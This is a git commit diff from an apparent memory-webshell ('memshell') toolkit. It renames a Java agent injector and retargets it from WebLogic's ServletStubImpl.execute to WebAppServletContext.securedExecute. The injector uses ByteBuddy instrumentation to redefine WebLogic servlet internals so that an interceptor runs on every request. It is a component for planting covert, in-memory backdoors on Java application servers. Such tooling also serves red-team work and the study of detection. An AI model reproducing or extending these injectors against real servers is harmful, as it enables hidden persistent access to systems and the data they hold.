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fix: change weblogic agent hook

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ReaJason
2025-01-07 10:02:51 +08:00
parent f71657b11c
commit 5340de9b71
5 changed files with 19 additions and 22 deletions
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memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletStubAgentInjector.java → memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicServletContextAgentInjector.java
+5 -7
View File
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.weblogic.injector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
@@ -12,13 +11,12 @@ import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/1/3
*/
public class WebLogicServletStubAgentInjector implements AgentBuilder.Transformer {
public class WebLogicServletContextAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
@@ -35,7 +33,7 @@ public class WebLogicServletStubAgentInjector implements AgentBuilder.Transforme
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("execute").and(takesArguments(3))));
return builder.visit(Advice.to(interceptorClass).on(named("securedExecute")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -57,9 +55,9 @@ public class WebLogicServletStubAgentInjector implements AgentBuilder.Transforme
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("weblogic.servlet.internal.ServletStubImpl"))
.transform(new WebLogicServletStubAgentInjector())
.type(named("weblogic.servlet.internal.WebAppServletContext"))
.transform(new WebLogicServletContextAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at weblogic.servlet.internal.ServletStubImpl.execute");
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
}
}